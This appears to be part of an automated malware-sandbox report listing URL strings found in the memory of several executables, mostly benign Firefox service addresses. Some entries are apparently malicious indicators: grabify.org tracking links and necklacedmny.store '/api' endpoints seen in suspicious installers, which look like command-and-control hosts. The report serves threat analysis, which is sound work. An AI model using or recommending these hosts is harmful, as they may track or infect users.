Source: configuredInstallerEXE.exe, 00000008.00000003.2911281703.00000272A1047000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2912893711.00000272A0FE0000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911736211.00000272A1049000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2881916711.00000272A1047000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911913096.00000272A0FFC000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2913061661.00000272A1049000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2911517387.00000272A1048000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2912923880.00000272A0FFC000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000003.2881787220.00000272A106F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.3306996837.000001AF56C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.org/2qNi2
Source: configuredInstallerEXE.exe, 00000008.00000003.2911913096.00000272A0FFC000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2912923880.00000272A0FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.org/2qNi2T
Source: svchost.exe, 00000012.00000002.3306996837.000001AF56C8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.org/2qNi2https://grabify.org/2qNi2
Source: configuredInstallerEXE.exe, 00000008.00000003.2911913096.00000272A0FFC000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2912923880.00000272A0FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.org/2qNi2n
Source: configuredInstallerEXE.exe, 00000008.00000003.2881916711.00000272A1055000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.org/Q
Source: configuredInstallerEXE.exe, 00000008.00000003.2911913096.00000272A0FFC000.00000004.00000020.00020000.00000000.sdmp, configuredInstallerEXE.exe, 00000008.00000002.2912923880.00000272A0FFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grabify.org:443/2qNi2
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3329290402.000001FC1DD11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Updates
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: prefs-1.js.38.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000026.00000002.3462309093.000001FC2BCDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000026.00000002.3353920953.000001FC29E67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000026.00000002.3674125678.000001FC2E93B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000026.00000002.3658097048.000001FC2DC03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3674125678.000001FC2E9D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000026.00000002.3696585297.000001FC31591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000026.00000002.3696585297.000001FC31591000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3383452794.000001FC2B220000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3389998509.000001FC2B373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353920953.000001FC29EBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%schrome://extensions/content/schemas/management.jso
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353366771.000001FC29B7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3389998509.000001FC2B373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353366771.000001FC29B7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3389998509.000001FC2B373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttps://poczta.interia.pl/mh/?mailto=%shttp://win.mail.ru/cgi
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3329290402.000001FC1DDD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000028.00000002.3310164418.000001A639D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3308105822.00000211D9A86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000026.00000002.3353920953.000001FC29EFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AFB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.combookmarksToolbarWasVisiblewidget.use-xdg-desktop-portalhttps://addons.moz
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000026.00000002.3703394243.00001D8F4C904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: b6ea789a1a.exe, 00000016.00000003.3116827372.00000000007F1000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000002.3314964247.0000000001426000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000002.3314964247.00000000013B5000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3277210188.0000000001427000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: file.exe, 00000000.00000003.2136480262.0000000001277000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/%
Source: b6ea789a1a.exe, 00000016.00000003.3149739625.00000000007F1000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3149855984.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/.
Source: file.exe, 00000000.00000003.2089933681.0000000005953000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/22
Source: b6ea789a1a.exe, 00000018.00000002.3314964247.00000000013B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/E3e5
Source: b6ea789a1a.exe, 00000016.00000003.3151528838.0000000000796000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000002.3152326455.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/IPNP
Source: b6ea789a1a.exe, 00000018.00000002.3314964247.00000000013B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/NAMIw
Source: b6ea789a1a.exe, 00000016.00000003.3131466654.000000000080A000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3123855862.000000000080A000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3151528838.0000000000780000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3116556305.000000000080A000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000002.3152326455.0000000000796000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3116768252.000000000080C000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3149739625.00000000007E5000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000018.00000003.3277210188.0000000001427000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: b6ea789a1a.exe, 00000018.00000003.3277210188.0000000001427000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api9
Source: b6ea789a1a.exe, 00000016.00000002.3152671121.0000000000810000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3149611997.000000000080E000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3131466654.000000000080A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiQ
Source: b6ea789a1a.exe, 00000016.00000003.3151528838.0000000000796000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000002.3152326455.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiU5_
Source: file.exe, 00000000.00000003.2258746160.000000000128E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169574483.000000000128E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2151289648.000000000128E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiq
Source: b6ea789a1a.exe, 00000016.00000003.3151528838.0000000000796000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000002.3152326455.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiwQ5
Source: b6ea789a1a.exe, 00000016.00000003.3116827372.00000000007F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/z4W
Source: file.exe, 00000000.00000003.2169268315.000000000129D000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3151528838.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: b6ea789a1a.exe, 00000018.00000002.3314964247.0000000001385000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apiicrosoft
Source: file.exe, 00000000.00000003.2136617064.000000000129D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2151289648.000000000129D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apir
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3389998509.000001FC2B373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sbrowser.download.viewableInternally.typeWasRe
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353366771.000001FC29B7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3389998509.000001FC2B373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/PromiseUtils.sys.mjspdfjs.previousHand
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AFC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000026.00000002.3377928766.000001FC2AF90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.cominitializeProfilerWebChannelMOZ_BROWSER_TOOLBOX_BINARY
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000026.00000002.3462309093.000001FC2BCCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000026.00000002.3615955624.000001FC2D770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/chrome_settings_overrides
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/chrome_settings_overridesshims/google-analytics-legacy.jsshims/rambl
Source: firefox.exe, 00000026.00000002.3375948199.000001FC29F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comhttps://support.mozilla.orgtestPermissionFromPrincipalupgradeTabsProg
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000026.00000002.3353106805.000001FC299C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000028.00000002.3309463400.000001A639B60000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.3312831003.00000211D9B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
